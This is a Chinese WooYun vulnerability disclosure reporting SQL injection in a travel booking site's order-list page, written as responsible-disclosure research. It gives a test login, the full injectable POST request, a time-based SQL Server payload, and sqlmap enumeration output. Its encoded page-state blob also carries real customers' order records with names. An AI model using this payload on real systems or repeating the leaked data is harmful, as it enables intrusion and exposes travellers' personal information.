U8商旅联盟漏洞可查港澳酒店订单/国内酒店订单/国内火车票订单/个人身份信息

admin
admin
admin
139126
文章
114
评论
2017年4月26日13:12:30评论350 views字数 257阅读0分51秒阅读模式
摘要

2016-03-05： 细节已通知厂商并且等待厂商处理中
2016-03-09： 厂商已经确认，细节仅向厂商公开
2016-03-19： 细节向核心白帽子及相关领域专家公开
2016-03-29： 细节向普通白帽子公开
2016-04-08： 细节向实习白帽子公开
2016-04-23： 细节向公众公开

漏洞概要 关注数(3) 关注此漏洞

缺陷编号： WooYun-2016-180902

漏洞标题： U8商旅联盟漏洞可查港澳酒店订单/国内酒店订单/国内火车票订单/个人身份信息

相关厂商： 上海妙知旅电子商务服务有限公司

漏洞作者： 保护伞

提交时间： 2016-03-05 01:40

公开时间： 2016-04-23 13:43

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 15

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 注射技巧

0人收藏

漏洞详情

披露状态：

2016-03-05： 细节已通知厂商并且等待厂商处理中
2016-03-09： 厂商已经确认，细节仅向厂商公开
2016-03-19： 细节向核心白帽子及相关领域专家公开
2016-03-29： 细节向普通白帽子公开
2016-04-08： 细节向实习白帽子公开
2016-04-23： 细节向公众公开

简要描述：

rt

详细说明：

code 区域 
上海妙知旅电子商务服务有限公司- U8商旅联盟
 http://**.**.**.**/
 test 123456

U8商旅联盟漏洞可查港澳酒店订单/国内酒店订单/国内火车票订单/个人身份信息

U8商旅联盟漏洞可查港澳酒店订单/国内酒店订单/国内火车票订单/个人身份信息

漏洞证明：

U8商旅联盟漏洞可查港澳酒店订单/国内酒店订单/国内火车票订单/个人身份信息

U8商旅联盟漏洞可查港澳酒店订单/国内酒店订单/国内火车票订单/个人身份信息

U8商旅联盟漏洞可查港澳酒店订单/国内酒店订单/国内火车票订单/个人身份信息

code 区域 
注入：http://**.**.**.**/member/TraMyOrderList.aspx (POST)
 
 __EVENTTARGET=ctl00$ContentPlaceHolder1$AspNetPager&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKMTc0NzU3MjM1NQ9kFgJmD2QWAgIDD2QWAgIBD2QWCGYPZBYEZg8WBB4FY2xhc3NkHgdvbmNsaWNrBYIBV2RhdGVQaWNrZXIoe2VsOidjdGwwMF9Db250ZW50UGxhY2VIb2xkZXIxX3R4dF9PcmRlckRhdGVSYW5nZV90eHRfRGF0ZVRpbWUnLGRvdWJsZUNhbGVuZGFyOmZhbHNlLGRhdGVGbXQ6J3l5eXktTU0tZGQnLG1pbkRhdGU6Jyd9KWQCAQ8WBB8BBYMBV2RhdGVQaWNrZXIoe2VsOidjdGwwMF9Db250ZW50UGxhY2VIb2xkZXIxX3R4dF9PcmRlckRhdGVSYW5nZV90eHRfRGF0ZVRpbWUxJyxkb3VibGVDYWxlbmRhcjpmYWxzZSxkYXRlRm10Oid5eXl5LU1NLWRkJyxtaW5EYXRlOicnfSkfAGRkAgEPZBYEZg8WBB8AZB8BBYQBV2RhdGVQaWNrZXIoe2VsOidjdGwwMF9Db250ZW50UGxhY2VIb2xkZXIxX3R4dF9UYWNrb2ZmVGltZVJhbmdlX3R4dF9EYXRlVGltZScsZG91YmxlQ2FsZW5kYXI6ZmFsc2UsZGF0ZUZtdDoneXl5eS1NTS1kZCcsbWluRGF0ZTonJ30pZAIBDxYEHwEFhQFXZGF0ZVBpY2tlcih7ZWw6J2N0bDAwX0NvbnRlbnRQbGFjZUhvbGRlcjFfdHh0X1RhY2tvZmZUaW1lUmFuZ2VfdHh0X0RhdGVUaW1lMScsZG91YmxlQ2FsZW5kYXI6ZmFsc2UsZGF0ZUZtdDoneXl5eS1NTS1kZCcsbWluRGF0ZTonJ30pHwBkZAIGDxYCHgtfIUl0ZW1Db3VudAIUFihmD2QWBmYPFQ0IMjAwMTk5MzIaPGZvbnQgY29sb3I9InJlZCI%2BIzwvZm9udD4IMjAwMTk5MzIJ5LmU5b63576kCeS5lOW%2Bt%2Be%2BpARHMTA2HOS4iua1t%2BiZueahpeermS3ljJfkuqzljZfnq5kLMDMtMDMgMDc6MTALMDMtMDIgMTY6MTkHwqU1NTguMAVmbHQwMgnlt7Llh7rnpagVc3R5bGU9ImRpc3BsYXk6bm9uZTsiZAIBDw8WAh4PQ29tbWFuZEFyZ3VtZW50BQgyMDAxOTkzMmRkAgIPFQEJ5pyq5LuY5qy%2BZAIBD2QWBmYPFQ0IMjAwMTk5MzEaPGZvbnQgY29sb3I9InJlZCI%2BIzwvZm9udD4IMjAwMTk5MzEJ572X5pmT5LicCee9l%2BaZk%2BS4nAVHNzU0OBzkvZnlp5rljJfnq5kt5LiK5rW36Jm55qGl56uZCzAzLTAyIDE3OjU4CzAzLTAyIDE2OjA4B8KlMTI2LjUFZmx0MDIJ5bey5Ye656WoFXN0eWxlPSJkaXNwbGF5Om5vbmU7ImQCAQ8PFgIfAwUIMjAwMTk5MzFkZAICDxUBCeacquS7mOasvmQCAg9kFgZmDxUNCDIwMDE5OTMwGjxmb250IGNvbG9yPSJyZWQiPiM8L2ZvbnQ%2BCDIwMDE5OTMwG1BBUktLV0FOU09PPGJyIC8%2BQ0hPSU1BTkdPTxtQQVJLS1dBTlNPTzxiciAvPkNIT0lNQU5HT08FRzc1MjIW5p2t5bee5LicLeS4iua1t%2BiZueahpQswMy0wNCAxODoyNgswMy0wMiAxNToyNQfCpTI0NC4wBWZsdDAyCeW3suWHuuelqBVzdHlsZT0iZGlzcGxheTpub25lOyJkAgEPDxYCHwMFCDIwMDE5OTMwZGQCAg8VAQnmnKrku5jmrL5kAgMPZBYGZg8VDQgyMDAxOTkyORo8Zm9udCBjb2xvcj0icmVkIj4jPC9mb250PggyMDAxOTkyOQpDSE9JTUFOR09PCkNIT0lNQU5HT08FRzc1NDAW5p2t5bee5LicLeS4iua1t%2BiZueahpQswMy0wNSAxMjowMgswMy0wMiAxNToxNwfCpTEyMi4wBWZsdDAyCeW3suWHuuelqBVzdHlsZT0iZGlzcGxheTpub25lOyJkAgEPDxYCHwMFCDIwMDE5OTI5ZGQCAg8VAQnmnKrku5jmrL5kAgQPZBYGZg8VDQgyMDAxOTkyOBo8Zm9udCBjb2xvcj0icmVkIj4jPC9mb250PggyMDAxOTkyOAnnmb3lgaXnlJ8J55m95YGl55SfBUc3MzkyGeS9meadreermS3kuIrmtbfombnmoaXnq5kLMDMtMDMgMTA6MDALMDMtMDIgMTQ6NDEGwqU3MC41BWZsdDAyCeW3suWHuuelqBVzdHlsZT0iZGlzcGxheTpub25lOyJkAgEPDxYCHwMFCDIwMDE5OTI4ZGQCAg8VAQnmnKrku5jmrL5kAgUPZBYGZg8VDQgyMDAxOTkyNxo8Zm9udCBjb2xvcj0icmVkIj4jPC9mb250PggyMDAxOTkyNwblvKDnv7EG5byg57%2BxBUQzMDk2GeaxieWPo%2BermS3kuIrmtbfombnmoaXnq5kLMDMtMDQgMDg6MDULMDMtMDIgMTQ6MzYHwqUyNjIuMAVmbHQwMgnlt7Llh7rnpagVc3R5bGU9ImRpc3BsYXk6bm9uZTsiZAIBDw8WAh8DBQgyMDAxOTkyN2RkAgIPFQEJ5pyq5LuY5qy%2BZAIGD2QWBmYPFQ0IMjAwMTk5MjYaPGZvbnQgY29sb3I9InJlZCI%2BIzwvZm9udD4IMjAwMTk5MjYG5r2Y5b63Bua9mOW%2BtwVEMzA5NhnmsYnlj6Pnq5kt5LiK5rW36Jm55qGl56uZCzAzLTA0IDA4OjA1CzAzLTAyIDE0OjM0B8KlMjYyLjAFZmx0MDIJ5bey5Ye656WoFXN0eWxlPSJkaXNwbGF5Om5vbmU7ImQCAQ8PFgIfAwUIMjAwMTk5MjZkZAICDxUBCeacquS7mOasvmQCBw9kFgZmDxUNCDIwMDE5OTI1Gjxmb250IGNvbG9yPSJyZWQiPiM8L2ZvbnQ%2BCDIwMDE5OTI1Bum7hOiZjgbpu4TomY4FRzc1MjAc5L2Z5aea5YyX56uZLeS4iua1t%2BiZueahpeermQswMy0wMiAxNjo0MAswMy0wMiAxMjo1NwfCpTEyNi41BWZsdDAyCeW3suWHuuelqBVzdHlsZT0iZGlzcGxheTpub25lOyJkAgEPDxYCHwMFCDIwMDE5OTI1ZGQCAg8VAQnmnKrku5jmrL5kAggPZBYGZg8VDQgyMDAxOTkyNBo8Zm9udCBjb2xvcj0icmVkIj4jPC9mb250PggyMDAxOTkyNAblvpDluIUG5b6Q5biFBUc3NTE2GeWugea1t%2BermS3kuIrmtbfombnmoaXnq5kLMDMtMDQgMTM6NDULMDMtMDIgMTI6NTMHwqUxNzEuMAVmbHQwMgnlt7Llh7rnpagVc3R5bGU9ImRpc3BsYXk6bm9uZTsiZAIBDw8WAh8DBQgyMDAxOTkyNGRkAgIPFQEJ5pyq5LuY5qy%2BZAIJD2QWBmYPFQ0IMjAwMTk5MjMaPGZvbnQgY29sb3I9InJlZCI%2BIzwvZm9udD4IMjAwMTk5MjMG5b6Q5biFBuW%2BkOW4hQVHNzU4NhPlj7Dlt57nq5kt5a6B5rW356uZCzAzLTA0IDA4OjMyCzAzLTAyIDEyOjE5BsKlMjguNQVmbHQwMgnlt7Llh7rnpagVc3R5bGU9ImRpc3BsYXk6bm9uZTsiZAIBDw8WAh8DBQgyMDAxOTkyM2RkAgIPFQEJ5pyq5LuY5qy%2BZAIKD2QWBmYPFQ0IMjAwMTk5MjIaPGZvbnQgY29sb3I9InJlZCI%2BIzwvZm9udD4IMjAwMTk5MjIG5b6Q5biFBuW%2BkOW4hQVHNzY2NRPlroHms6Lnq5kt5Y%2Bw5bee56uZCzAzLTAzIDEwOjUyCzAzLTAyIDExOjU4BsKlNTcuMAVmbHQwMgnlt7Llh7rnpagVc3R5bGU9ImRpc3BsYXk6bm9uZTsiZAIBDw8WAh8DBQgyMDAxOTkyMmRkAgIPFQEJ5pyq5LuY5qy%2BZAILD2QWBmYPFQ0IMjAwMTk5MjEaPGZvbnQgY29sb3I9InJlZCI%2BIzwvZm9udD4IMjAwMTk5MjEG5b6Q5biFBuW%2BkOW4hQVHNzU0NxnkuIrmtbfombnmoaXnq5kt5a6B5rOi56uZCzAzLTAzIDA4OjMyCzAzLTAyIDExOjUyB8KlMTQ5LjAFZmx0MDIJ5bey5Ye656WoFXN0eWxlPSJkaXNwbGF5Om5vbmU7ImQCAQ8PFgIfAwUIMjAwMTk5MjFkZAICDxUBCeacquS7mOasvmQCDA9kFgZmDxUNCDIwMDE5OTIwGjxmb250IGNvbG9yPSJyZWQiPiM8L2ZvbnQ%2BCDIwMDE5OTIwCeadqOWuiOazlQnmnajlrojms5UFRDYyMTkT56aP5bee56uZLeWOpumXqOermQswMy0wMyAxMDowOQswMy0wMiAxMTozOAbCpTgwLjUFZmx0MDIJ5bey5Ye656WoFXN0eWxlPSJkaXNwbGF5Om5vbmU7ImQCAQ8PFgIfAwUIMjAwMTk5MjBkZAICDxUBCeacquS7mOasvmQCDQ9kFgZmDxUNCDIwMDE5OTE5Gjxmb250IGNvbG9yPSJyZWQiPiM8L2ZvbnQ%2BCDIwMDE5OTE5CeW8oOS6muaYjgnlvKDkuprmmI4FRzE1MzMW5q2m5rGJ56uZLemVv%2BaymeWNl%2BermQswMy0wMiAxNDoxMwswMy0wMiAxMToxNQfCpTE2OS41BWZsdDAyCeW3suWHuuelqBVzdHlsZT0iZGlzcGxheTpub25lOyJkAgEPDxYCHwMFCDIwMDE5OTE5ZGQCAg8VAQnmnKrku5jmrL5kAg4PZBYGZg8VDQgyMDAxOTkxOBo8Zm9udCBjb2xvcj0icmVkIj4jPC9mb250PggyMDAxOTkxOAnmnLHogarogaoJ5pyx6IGq6IGqEEc3MDQyPGJyIC8%2BRzcwNjUs5LiK5rW356uZLemVh%2Baxn%2BermTxiciAvPumVh%2Baxn%2BermS3kuIrmtbfnq5kcMDMtMDMgMDg6MzI8YnIgLz4wMy0wMyAxNToyNgswMy0wMiAxMDozNQfCpTIyOS4wBWZsdDAyCeW3suWHuuelqBVzdHlsZT0iZGlzcGxheTpub25lOyJkAgEPDxYCHwMFCDIwMDE5OTE4ZGQCAg8VAQnmnKrku5jmrL5kAg8PZBYGZg8VDQgyMDAxOTkxNxo8Zm9udCBjb2xvcj0icmVkIj4jPC9mb250PggyMDAxOTkxNwnnjovkuLrlhpwJ546L5Li65YacBUQzMDY2FuaxieWPo%2BermS3lkIjogqXljZfnq5kLMDMtMDMgMTQ6MzULMDMtMDIgMTA6MjYHwqUxMTAuNQVmbHQwMgnlt7Llh7rnpagVc3R5bGU9ImRpc3BsYXk6bm9uZTsiZAIBDw8WAh8DBQgyMDAxOTkxN2RkAgIPFQEJ5pyq5LuY5qy%2BZAIQD2QWBmYPFQ0IMjAwMTk5MTYaPGZvbnQgY29sb3I9InJlZCI%2BIzwvZm9udD4IMjAwMTk5MTYUTEFXVE9OIE1BVEhFVyBTQU1VRUwUTEFXVE9OIE1BVEhFVyBTQU1VRUwDRzQyHOS4iua1t%2BiZueahpeermS3plYfmsZ/ljZfnq5kLMDQtMjMgMTA6MjgLMDMtMDIgMTA6MjMHwqUxMDkuNQVmbHQwMgnlt7Llh7rnpagVc3R5bGU9ImRpc3BsYXk6bm9uZTsiZAIBDw8WAh8DBQgyMDAxOTkxNmRkAgIPFQEJ5pyq5LuY5qy%2BZAIRD2QWBmYPFQ0IMjAwMTk5MTUaPGZvbnQgY29sb3I9InJlZCI%2BIzwvZm9udD4IMjAwMTk5MTUG5rKI55CzBuayiOeQswNHNDIc5LiK5rW36Jm55qGl56uZLemVh%2Baxn%2BWNl%2BermQswNC0yMyAxMDoyOAswMy0wMiAxMDowNwfCpTEwOS41BWZsdDAyCeW3suWHuuelqBVzdHlsZT0iZGlzcGxheTpub25lOyJkAgEPDxYCHwMFCDIwMDE5OTE1ZGQCAg8VAQnmnKrku5jmrL5kAhIPZBYGZg8VDQgyMDAxOTkxNBo8Zm9udCBjb2xvcj0icmVkIj4jPC9mb250PggyMDAxOTkxNAbosIjlloYG6LCI5ZaGBEcyMTEc5aSp5rSl6KW/56uZLeS4iua1t%2BiZueahpeermQswMy0wNCAwOTozMQswMy0wMiAxMDowNQfCpTUxOC41BWZsdDAyCeW3suWHuuelqBVzdHlsZT0iZGlzcGxheTpub25lOyJkAgEPDxYCHwMFCDIwMDE5OTE0ZGQCAg8VAQnmnKrku5jmrL5kAhMPZBYGZg8VDQgyMDAxOTkxMxo8Zm9udCBjb2xvcj0icmVkIj4jPC9mb250PggyMDAxOTkxMwnnjovkuqzlloYJ546L5Lqs5ZaGBEcyMTEc5aSp5rSl6KW/56uZLeS4iua1t%2BiZueahpeermQswMy0wNCAwOTozMQswMy0wMiAxMDowMAfCpTUxOC41BWZsdDAyCeW3suWHuuelqBVzdHlsZT0iZGlzcGxheTpub25lOyJkAgEPDxYCHwMFCDIwMDE5OTEzZGQCAg8VAQnmnKrku5jmrL5kAgcPDxYGHghQYWdlU2l6ZQIUHgtSZWNvcmRjb3VudALdmwEeEEN1cnJlbnRQYWdlSW5kZXgCAWRkZJiPYiES%2Bg10R1/BqK96SdJu3IN5&__EVENTVALIDATION=/wEWHQLUqubjDAKN7c7uAwKN7ZLwAwKt//aNDwKt/8rRBQKEu5uAAgKR%2Bb79CwLd%2BY4YAve684YCAqXVy/gCAsDmn58DAu/S/PAKApLf8tYOAsHLz6gGAtzco88GAovJgKEOAv7jkOYOAq3Q7bcGAsjhwd4GAqbVt5cLAsHmi74LAvDS6I8DApPf3vUGAsLLu8cOAt3cj%2B4OAozJ7L8GAv/j/IQHAq7Q2dYOAsnhrf0Osj8NFzP7E8A5GDl5wWLUL9/cCxs%3D&ctl00$ContentPlaceHolder1$txt_OrderDateRange$txt_DateTime=&ctl00$ContentPlaceHolder1$txt_OrderDateRange$txt_DateTime1=&ctl00$ContentPlaceHolder1$txt_TackoffTimeRange$txt_DateTime=&ctl00$ContentPlaceHolder1$txt_TackoffTimeRange$txt_DateTime1=&ctl00$ContentPlaceHolder1$txt_KeyWordType=0&ctl00$ContentPlaceHolder1$txt_KeyWord=123&ctl00$ContentPlaceHolder1$txt_OrderStatus=&ctl00$ContentPlaceHolder1$AspNetPager_input=1&ctl00$ContentPlaceHolder1$AspNetPager=go
 
 Parameter: ctl00$ContentPlaceHolder1$txt_KeyWord (POST)
     Type: stacked queries
     Title: Microsoft SQL Server/Sybase stacked queries
     Payload: __EVENTTARGET=ctl00$ContentPlaceHolder1$AspNetPager&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKMTc0NzU3MjM1NQ9kFgJmD2QWAgIDD2QWAgIBD2QWCGYPZBYEZg8WBB4FY2xhc3NkHgdvbmNsaWNrBYIBV2RhdGVQaWNrZXIoe2VsOidjdGwwMF9Db250ZW50UGxhY2VIb2xkZXIxX3R4dF9PcmRlckRhdGVSYW5nZV90eHRfRGF0ZVRpbWUnLGRvdWJsZUNhbGVuZGFyOmZhbHNlLGRhdGVGbXQ6J3l5eXktTU0tZGQnLG1pbkRhdGU6Jyd9KWQCAQ8WBB8BBYMBV2RhdGVQaWNrZXIoe2VsOidjdGwwMF9Db250ZW50UGxhY2VIb2xkZXIxX3R4dF9PcmRlckRhdGVSYW5nZV90eHRfRGF0ZVRpbWUxJyxkb3VibGVDYWxlbmRhcjpmYWxzZSxkYXRlRm10Oid5eXl5LU1NLWRkJyxtaW5EYXRlOicnfSkfAGRkAgEPZBYEZg8WBB8AZB8BBYQBV2RhdGVQaWNrZXIoe2VsOidjdGwwMF9Db250ZW50UGxhY2VIb2xkZXIxX3R4dF9UYWNrb2ZmVGltZVJhbmdlX3R4dF9EYXRlVGltZScsZG91YmxlQ2FsZW5kYXI6ZmFsc2UsZGF0ZUZtdDoneXl5eS1NTS1kZCcsbWluRGF0ZTonJ30pZAIBDxYEHwEFhQFXZGF0ZVBpY2tlcih7ZWw6J2N0bDAwX0NvbnRlbnRQbGFjZUhvbGRlcjFfdHh0X1RhY2tvZmZUaW1lUmFuZ2VfdHh0X0RhdGVUaW1lMScsZG91YmxlQ2FsZW5kYXI6ZmFsc2UsZGF0ZUZtdDoneXl5eS1NTS1kZCcsbWluRGF0ZTonJ30pHwBkZAIGDxYCHgtfIUl0ZW1Db3VudGZkAgcPDxYGHghQYWdlU2l6ZQIUHgtSZWNvcmRjb3VudGYeEEN1cnJlbnRQYWdlSW5kZXgCAWRkZMX8Al/bhLiJAioiT8jgMaAQSQ+A&__EVENTVALIDATION=/wEWCQKzxoOSBgKN7c7uAwKN7ZLwAwKt//aNDwKt/8rRBQKEu5uAAgKR+b79CwLd+Y4YAve684YCLjQVKYD8i4pcE+5PnsVssn3ajc8=&ctl00$ContentPlaceHolder1$txt_OrderDateRange$txt_DateTime=&ctl00$ContentPlaceHolder1$txt_OrderDateRange$txt_DateTime1=&ctl00$ContentPlaceHolder1$txt_TackoffTimeRange$txt_DateTime=&ctl00$ContentPlaceHolder1$txt_TackoffTimeRange$txt_DateTime1=&ctl00$ContentPlaceHolder1$txt_KeyWordType=0&ctl00$ContentPlaceHolder1$txt_KeyWord=123'; WAITFOR DELAY '0:0:5'--&ctl00$ContentPlaceHolder1$txt_OrderStatus=&ctl00$ContentPlaceHolder1$AspNetPager_input=1&ctl00$ContentPlaceHolder1$AspNetPager=go
     Vector: ; IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
 ---
 web server operating system: Windows 2008 R2 or 7
 web application technology: Microsoft IIS 7.5, ASP.NET 2.0.50727
 back-end DBMS: Microsoft SQL Server 2005
 available databases [5]:
 [*] brightour
 [*] master
 [*] model
 [*] msdb
 [*] tempdb
 
 
 available databases [5]:
 [*] brightour
 [*] master
 [*] model
 [*] msdb
 [*] tempdb
 
 Database: brightour
 [12 tables]
 +-----------------------+
 | PRODUCT  |
 | branch  |
 | country  |
 | source  |
 | files   |
 | account  |
 | form_data  |
 | projects  |
 | M_EMAIL_FILA  |
 | Booked_On  |
 | cdv_passport_group |
 | message_statuses |
 +-----------------------+

修复方案：

rt

版权声明：转载请注明来源 保护伞@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2016-03-09 13:43

厂商回复：

CNVD未直接复现所述情况，暂未建立与网站管理单位的直接处置渠道，待认领。

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin